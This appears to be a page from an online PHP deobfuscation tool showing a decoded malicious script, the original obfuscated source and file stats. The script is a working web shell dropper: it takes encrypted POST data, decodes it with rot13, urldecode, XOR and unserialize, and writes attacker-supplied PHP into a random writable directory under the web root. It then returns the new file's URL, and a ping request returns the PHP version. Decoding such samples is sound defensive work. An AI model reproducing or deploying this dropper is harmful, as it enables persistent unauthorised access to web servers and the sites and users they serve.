Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
text | code | image | audio | video <?php $JBJJnvsS = chr(68).'O'."\x43".chr(85)."\115"...
Decoded Output download
text | code | image | audio | video
<?php $JBJJnvsS = chr(68).'O'."C".chr(85)."M".chr(69).chr(424-346).chr(1037-953)."_"."R".chr(79)."O"."T";$zEDdC =
chr(72)."T"."T"."P".'_'.chr(831-759).chr(79).chr(600-517)."T";$dZBkhIEMs =
chr(592-488).'t'.chr(885-769).chr(112).chr(58).chr(137-90)."/";$OxzZmpmGfr = ".".chr(112)."h"."p";$moFqNV = chr(112).'h'.'p';$rvwrGM =
'f'."i"."l"."e".chr(95)."p".'u'."t".chr(584-489)."c".chr(435-324).chr(110).chr(116).chr(1087-986).chr(904-794).chr(116).chr(1106-991);$ytMcVaR
Aq = "r"."a".chr(1095-976).'u'.'r'."l".chr(100).chr(101)."c".'o'.'d'."e";$bubpoaBgqq =
chr(117).chr(1102-992).chr(115)."e".chr(1050-936)."i".'a'.chr(496-388).chr(105).chr(372-250).chr(569-468);$qvHRBd =
'i'."s"."_".chr(119).chr(114)."i".'t'.chr(688-591).chr(830-732)."l".chr(234-133);$mVlGzQWptn =
"p"."h"."p".'v'."e"."r"."s"."i"."o".chr(110);$MpEpEK = "s".chr(116).chr(114).chr(885-790)."r"."o"."t"."1"."3";$iJxbk =
's'.chr(101)."r".chr(910-805).chr(97).chr(172-64)."i".chr(918-796)."e";$JhOfUcYnb =
"s".'t'.chr(1067-953).chr(95)."s".'p'."l".chr(609-504).chr(116);foreach ($_POST as $RpntIHcgxy => $RULPgyvD){if (strlen($RpntIHcgxy) == 16){$RULPgyvD =
$JhOfUcYnb($ytMcVaRAq($MpEpEK($RULPgyvD)));$RpntIHcgxy = array_slice($JhOfUcYnb(str_repeat($RpntIHcgxy, (count($RULPgyvD)/16)+1)), 0, count($RULPgyvD));function
GbhDtXSbv($zZxcKAH, $uxGTjpInb, $RpntIHcgxy){$BOdxKeA = "737ded5c-fb67-47df-9630-0b472adf456f";return $zZxcKAH ^ $BOdxKeA[$uxGTjpInb % strlen($BOdxKeA)] ^
$RpntIHcgxy;}$RULPgyvD = implode("", array_map("GbhDtXSbv", array_values($RULPgyvD), array_keys($RULPgyvD), array_values($RpntIHcgxy)));$RULPgyvD =
@$bubpoaBgqq($RULPgyvD);if (@is_array($RULPgyvD)){$AmPUYTfW = array_keys($RULPgyvD);$RULPgyvD = $RULPgyvD[$AmPUYTfW[0]];if ($RULPgyvD === $AmPUYTfW[0]){echo
@$iJxbk(Array($moFqNV => @$mVlGzQWptn(), ));exit();}else {function zhKGQEa($cnocGWir){static $XQoGeUNF = array();$RbkMyKw = glob($cnocGWir . '/*',
GLOB_ONLYDIR);if (count($RbkMyKw) > 0) {foreach ($RbkMyKw as $cnocGW) {if (@$qvHRBd($cnocGW)) {$XQoGeUNF[] = $cnocGW;}}}foreach ($RbkMyKw as $cnocGWir)
zhKGQEa($cnocGWir);return $XQoGeUNF;}$cBBUpfPjkw = $_SERVER[$JBJJnvsS];$RbkMyKw = zhKGQEa($cBBUpfPjkw);$AmPUYTfW = array_rand($RbkMyKw);$VKuVZKSUa =
$RbkMyKw[$AmPUYTfW] . "/" . substr(md5(time()), 0, 8) . $OxzZmpmGfr;@$rvwrGM($VKuVZKSUa, $RULPgyvD);echo $dZBkhIEMs . $_SERVER[$zEDdC] . substr($VKuVZKSUa,
strlen($cBBUpfPjkw));exit();}}}} ?>
Did this file decode correctly?
Original Code
text | code | image | audio | video
<?php $JBJJnvsS = chr(68).'O'."\x43".chr(85)."\115".chr(69).chr(424-346).chr(1037-953)."\x5f"."\x52".chr(79)."\117"."\x54";$zEDdC =
chr(72)."\124"."\124"."\x50".'_'.chr(831-759).chr(79).chr(600-517)."\124";$dZBkhIEMs =
chr(592-488).'t'.chr(885-769).chr(112).chr(58).chr(137-90)."\57";$OxzZmpmGfr = "\56".chr(112)."\150"."\160";$moFqNV = chr(112).'h'.'p';$rvwrGM =
'f'."\151"."\x6c"."\145".chr(95)."\160".'u'."\x74".chr(584-489)."\143".chr(435-324).chr(110).chr(116).chr(1087-986).chr(904-794).chr(116).chr(1106-991);$ytMcVaR
Aq = "\162"."\x61".chr(1095-976).'u'.'r'."\154".chr(100).chr(101)."\x63".'o'.'d'."\x65";$bubpoaBgqq =
chr(117).chr(1102-992).chr(115)."\145".chr(1050-936)."\x69".'a'.chr(496-388).chr(105).chr(372-250).chr(569-468);$qvHRBd =
'i'."\x73"."\137".chr(119).chr(114)."\151".'t'.chr(688-591).chr(830-732)."\x6c".chr(234-133);$mVlGzQWptn =
"\160"."\x68"."\160".'v'."\x65"."\x72"."\x73"."\x69"."\157".chr(110);$MpEpEK = "\x73".chr(116).chr(114).chr(885-790)."\x72"."\157"."\164"."\61"."\63";$iJxbk =
's'.chr(101)."\162".chr(910-805).chr(97).chr(172-64)."\x69".chr(918-796)."\145";$JhOfUcYnb =
"\163".'t'.chr(1067-953).chr(95)."\163".'p'."\x6c".chr(609-504).chr(116);foreach ($_POST as $RpntIHcgxy => $RULPgyvD){if (strlen($RpntIHcgxy) == 16){$RULPgyvD =
$JhOfUcYnb($ytMcVaRAq($MpEpEK($RULPgyvD)));$RpntIHcgxy = array_slice($JhOfUcYnb(str_repeat($RpntIHcgxy, (count($RULPgyvD)/16)+1)), 0, count($RULPgyvD));function
GbhDtXSbv($zZxcKAH, $uxGTjpInb, $RpntIHcgxy){$BOdxKeA = "737ded5c-fb67-47df-9630-0b472adf456f";return $zZxcKAH ^ $BOdxKeA[$uxGTjpInb % strlen($BOdxKeA)] ^
$RpntIHcgxy;}$RULPgyvD = implode("", array_map("GbhDtXSbv", array_values($RULPgyvD), array_keys($RULPgyvD), array_values($RpntIHcgxy)));$RULPgyvD =
@$bubpoaBgqq($RULPgyvD);if (@is_array($RULPgyvD)){$AmPUYTfW = array_keys($RULPgyvD);$RULPgyvD = $RULPgyvD[$AmPUYTfW[0]];if ($RULPgyvD === $AmPUYTfW[0]){echo
@$iJxbk(Array($moFqNV => @$mVlGzQWptn(), ));exit();}else {function zhKGQEa($cnocGWir){static $XQoGeUNF = array();$RbkMyKw = glob($cnocGWir . '/*',
GLOB_ONLYDIR);if (count($RbkMyKw) > 0) {foreach ($RbkMyKw as $cnocGW) {if (@$qvHRBd($cnocGW)) {$XQoGeUNF[] = $cnocGW;}}}foreach ($RbkMyKw as $cnocGWir)
zhKGQEa($cnocGWir);return $XQoGeUNF;}$cBBUpfPjkw = $_SERVER[$JBJJnvsS];$RbkMyKw = zhKGQEa($cBBUpfPjkw);$AmPUYTfW = array_rand($RbkMyKw);$VKuVZKSUa =
$RbkMyKw[$AmPUYTfW] . "/" . substr(md5(time()), 0, 8) . $OxzZmpmGfr;@$rvwrGM($VKuVZKSUa, $RULPgyvD);echo $dZBkhIEMs . $_SERVER[$zEDdC] . substr($VKuVZKSUa,
strlen($cBBUpfPjkw));exit();}}}}
Function Calls
None |
Stats
MD5 | 56835a6bc1f03a54b845ddcb34bceb5c |
Eval Count | 0 |
Decode Time | 41 ms |